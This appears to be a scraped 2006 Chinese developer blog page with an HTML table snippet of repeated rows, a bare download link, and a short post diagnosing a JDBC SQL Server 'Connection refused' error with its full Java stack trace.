<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<TR onMouseOver="this.bgColor='#94C0F1'" style="CURSOR: hand" height=22 onclick="location='expertInfo.do?exp_id=EP00000002';" onMouseOut="this.bgColor='#CEE5FF'" bgColor=#DAE5F9>
<TD>
<DIV align=center>
fds
</DIV>
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
<TD align=center>
0
</TD>
<TD align=center>
0
</TD>
<TD align=center>
<font color='red'>1</font>
</TD>
</TR>
<!-- 正常参加专家 -->
<!-- 拒绝专家 -->
</TBODY>
<TFOOT style="display:table-footer-group;font-weight:bold">
<TR>
<TD colspan="2" align="center" style="font-weight:bold;border:3px double blue">
每页都有的表尾
</TD>
</TR>
</TFOOT>
</TABLE>
</body>
posted @
2006-10-13 12:39 选宝网an9 阅读(299) |
评论 (0) |
编辑 收藏
http://www.batchconverter.com/download.shtml
posted @
2006-09-27 17:27 选宝网an9 阅读(268) |
评论 (0) |
编辑 收藏
这种错误可能是数据库服务没有启动或是没有安装补丁!
java.sql.SQLException: [Microsoft][SQLServer 2000 Driver for JDBC]Connection refused: connect
at com.microsoft.jdbc.base.BaseExceptions.createException(Unknown Source)
at com.microsoft.jdbc.base.BaseExceptions.getException(Unknown Source)
at com.microsoft.jdbc.sqlserver.tds.TDSConnection.<init>(Unknown Source)
at com.microsoft.jdbc.sqlserver.SQLServerImplConnection.open(Unknown Source)
at com.microsoft.jdbc.base.BaseConnection.getNewImplConnection(Unknown Source)
at com.microsoft.jdbc.base.BaseConnection.open(Unknown Source)
at com.microsoft.jdbc.base.BaseDriver.connect(Unknown Source)
at org.apache.commons.dbcp.DriverConnectionFactory.createConnection(DriverConnectionFactory.java:37)
at org.apache.commons.dbcp.PoolableConnectionFactory.makeObject(PoolableConnectionFactory.java:290)
at org.apache.commons.dbcp.BasicDataSource.validateConnectionFactory(BasicDataSource.java:877)
at org.apache.commons.dbcp.BasicDataSource.createDataSource(BasicDataSource.java:851)
at org.apache.commons.dbcp.BasicDataSource.getConnection(BasicDataSource.java:540)
at com.ibatis.sqlmap.engine.transaction.jdbc.JdbcTransaction.init(JdbcTransaction.java:48)
at com.ibatis.sqlmap.engine.transaction.jdbc.JdbcTransaction.getConnection(JdbcTransaction.java:89)
at com.ibatis.sqlmap.engine.mapping.statement.GeneralStatement.executeQueryForList(GeneralStatement.java:123)
at com.ibatis.sqlmap.engine.impl.SqlMapExecutorDelegate.queryForList(SqlMapExecutorDelegate.java:610)
at com.ibatis.sqlmap.engine.impl.SqlMapExecutorDelegate.queryForList(SqlMapExecutorDelegate.java:584)
at com.ibatis.sqlmap.engine.impl.SqlMapSessionImpl.queryForList(SqlMapSessionImpl.java:101)
at com.ibatis.sqlmap.engine.impl.SqlMapClientImpl.queryForList(SqlMapClientImpl.java:78)
at com.ibatis.dao.client.template.SqlMapDaoTemplate.queryForList(SqlMapDaoTemplate.java:203)
at com.telehot.dao.org.PmsUserDAOImpl.selectByExample(PmsUserDAOImpl.java:48)
at com.telehot.dao.org.PmsUserDAOImpl.selectByExample(PmsUserDAOImpl.java:60)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:585)
at com.ibatis.dao.engine.impl.DaoProxy.invoke(DaoProxy.java:72)
at $Proxy23.selectByExample(Unknown Source)
at com.telehot.action.Login.act(Login.java:56)
at org.apache.cocoon.components.treeprocessor.sitemap.ActTypeNode.invoke(ActTypeNode.java:124)
at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:46)
at org.apache.cocoon.components.treeprocessor.sitemap.PreparableMatchNode.invoke(PreparableMatchNode.java:130)
at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:68)
at org.apache.cocoon.components.treeprocessor.sitemap.PipelineNode.invoke(PipelineNode.java:142)
at org.apache.cocoon.components.treeprocessor.AbstractParentProcessingNode.invokeNodes(AbstractParentProcessingNode.java:68)
at org.apache.cocoon.components.treeprocessor.sitemap.PipelinesNode.invoke(PipelinesNode.java:92)
at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:234)
at org.apache.cocoon.components.treeprocessor.ConcreteTreeProcessor.process(ConcreteTreeProcessor.java:176)
at org.apache.cocoon.components.treeprocessor.TreeProcessor.process(TreeProcessor.java:248)
at org.apache.cocoon.Cocoon.process(Cocoon.java:679)
at org.apache.cocoon.servlet.CocoonServlet.service(CocoonServlet.java:1154)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:802)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:237)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:214)
at org.apache.catalina.core.StandardValveContext.invokeNext(StandardValveContext.java:104)
at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:520)
at org.apache.catalina.core.StandardContextValve.invokeInternal(StandardContextValve.java:198)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:152)
at org.apache.catalina.core.StandardValveContext.invokeNext(StandardValveContext.java:104)
at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:520)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:137)
at org.apache.catalina.core.StandardValveContext.invokeNext(StandardValveContext.java:104)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:118)
at org.apache.catalina.core.StandardValveContext.invokeNext(StandardValveContext.java:102)
at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:520)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
at org.apache.catalina.core.StandardValveContext.invokeNext(StandardValveContext.java:104)
at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:520)
at org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:929)
at org.apache.coyote.tomcat5.CoyoteAdapter.service(CoyoteAdapter.java:160)
at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:799)
at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.processConnection(Http11Protocol.java:705)
at org.apache.tomcat.util.net.TcpWorkerThread.runIt(PoolTcpEndpoint.java:577)
at org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:683)
at java.lang.Thread.run(Thread.java:595)
posted @
2006-09-04 08:51 选宝网an9 阅读(4422) |
评论 (1) |
编辑 收藏